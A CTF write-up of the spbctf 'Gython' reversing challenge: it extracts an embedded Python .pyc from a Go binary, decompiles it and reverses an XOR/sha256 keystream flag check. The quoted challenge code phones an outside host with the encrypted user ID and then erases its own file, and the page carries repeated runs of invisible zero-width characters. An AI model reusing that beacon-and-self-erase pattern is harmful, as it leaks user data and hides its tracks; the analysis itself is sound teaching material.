← Back to Writeups
CUSTOMMediumReversing

Gython

XESXOR9/10/20263 min read
#reversing#custom#medium#hex_gzip_decoding#pkger_embed_extraction#pyc_decompilation_uncompyle6#pyc_extraction#sha256_hash_verification#xor_keystream_analysis#linux

Gython

Platform: spbctf | Category: Reversing | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: hex_gzip_decoding, pkger_embed_extraction, pyc_decompilation_uncompyle6, pyc_extraction, sha256_hash_verification, xor_keystream_analysis

Summary

Task: Go 1.12.9 static ELF that embeds a Python 3.6 .pyc via markbates/pkger; the flag check lives in the embedded bytecode. Solution: extract the hex-encoded gzip pkger blob, decode the base64 pyc, decompile with uncompyle6, then reverse the XOR-against-sha256-keystream encrypt routine to recover the flag.

Gython — SPb CTF 2020 (kids-final)

Description

Gython

"Gython" = Go + Python. The distributed file gython.elf is a Go 1.12.9 statically-linked x86-64 ELF that embeds a Python 3.6 .pyc file. The flag-checking logic lives in the embedded Python bytecode, not in the Go code. The goal is to extract the embedded Python, understand its check, and recover the flag.

Analysis

Recon

$ file gython.elf
ELF 64-bit LSB executable, x86-64, statically linked, Go BuildID=..., not stripped

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

strings on the binary revealed the embedding mechanism and key constants:

  • github.com/markbates/pkger (v0.16.0) plus the path /data/__init__.pyc → the Go binary embeds a Python .pyc via the pkger static-asset library.
  • Build path leak: /Users/nostr/war/spbctf2020/kids-final/gython/go/main.go.
  • Interesting non-runtime constants:
    • base64: HzURFvGeN7sClEVLJDBnZVnlrTUBDw41RFefNmcB7bdfFg==
    • sha256 hex: fb0d5faa2b54bc25b1654a90106913bd1dd7e5a0400986f7676ec1e0afa93d71
    • Please, run on Linux machine. Something goes wrong. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

No plain gzip magic and no plain .pyc magic were found by a naive byte search — pkger stores its embedded filesystem as a hex-encoded gzip string constant.

Locating the embedded data

Searching the binary for a long run of hex-alphabet characters found a 5042-char run at offset 0x328549 starting with 1f8b08. Those three bytes (1f 8b 08) are the gzip magic — i.e. this is a hex-encoded gzip stream, which is exactly how pkger stores its embed manifest.

Solution

Step 1 — Extract the hex-gzip pkger blob

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
import re, gzip
data = open("gython.elf", "rb").read()
m = re.search(rb'1f8b08[0-9a-f]{100,}', data)
hx = m.group().decode()
raw = bytes.fromhex(hx[:len(hx) - (len(hx) % 2)])
dec = gzip.decompress(raw)          # 8079 bytes
open("embed_blob.bin", "wb").write(dec)

embed_blob.bin is a JSON manifest with the pkger infos / files / here structure. The real .pyc sits under files["gython:/data/__init__.pyc"]["data"] as a base64 string (size 1339).

Step 2 — Recover the .pyc

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
import json, base64
d = json.load(open("embed_blob.bin"))
pyc = base64.b64decode(d["files"]["gython:/data/__init__.pyc"]["data"])
open("__init__.pyc", "wb").write(pyc)   # magic 330d0d0a = Python 3.6, 1339 bytes

Step 3 — Decompile with uncompyle6

$ uncompyle6 __init__.pyc

Recovered source (embedded filename 1.py):

python
import base64, hashlib, os, sys, urllib.request
KEY = b'K[\x87\xb7\xddR\x1e\xc0I\x1d/\xa2\xea\xa4\xadGW?Z\xffN\x80k\x9d\xe1\xfc4\xffs\xb2\x86k1'

def byte_xor(ba1, ba2):
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def encrypt(key, plaintext):
    while len(key) < len(plaintext):
        key += hashlib.sha256(key).digest()
    key = key[::-1]
    return byte_xor(key[:len(plaintext)], plaintext)

def check(params):
    if len(params) != 1:
        return False
    return hashlib.sha256(encrypt(KEY, base64.b64decode(params[0]))).hexdigest() == \
        "fb0d5faa2b54bc25b1654a90106913bd1dd7e5a0400986f7676ec1e0afa93d71"

try:
    if check(sys.argv[1:]):
        r = urllib.request.urlopen(
            "https://forkbomb.ru/?answer=" + str(encrypt(KEY, str(os.getuid()).encode())))
        with open("1.txt", "w") as f:
            f.write(r.read(1024).decode("utf-8"))
except:
    pass
with open(__file__, "wb") as f:
    f.write(b'')   # self-erase

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4 — Reverse the keystream cipher

encrypt is nothing but a XOR against a keystream: the 32-byte KEY is extended by sha256-chaining (key += sha256(key)) until it is at least as long as the plaintext, then reversed and XORed byte-for-byte. Because XOR is its own inverse, the routine is fully reversible.

The base64 constant found in the binary (HzURFvGeN7sClEVLJDBnZVnlrTUBDw41RFefNmcB7bdfFg==) is exactly the valid argv[0] that passes the check. Feeding it through encrypt(KEY, b64decode(input)) produces the ciphertext whose sha256 matches the stored target — and that ciphertext is the flag plaintext itself: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
import base64, hashlib
KEY = b'K[\x87\xb7\xddR\x1e\xc0I\x1d/\xa2\xea\xa4\xadGW?Z\xffN\x80k\x9d\xe1\xfc4\xffs\xb2\x86k1'

def byte_xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])

def encrypt(key, pt):
    while len(key) < len(pt):
        key += hashlib.sha256(key).digest()
    key = key[::-1]
    return byte_xor(key[:len(pt)], pt)

pt = base64.b64decode("HzURFvGeN7sClEVLJDBnZVnlrTUBDw41RFefNmcB7bdfFg==")
ct = encrypt(KEY, pt)
assert hashlib.sha256(ct).hexdigest() == \
    "fb0d5faa2b54bc25b1654a90106913bd1dd7e5a0400986f7676ec1e0afa93d71"
print(ct)   # b'spbctf{REDACTED}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Output: spbctf{REDACTED}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍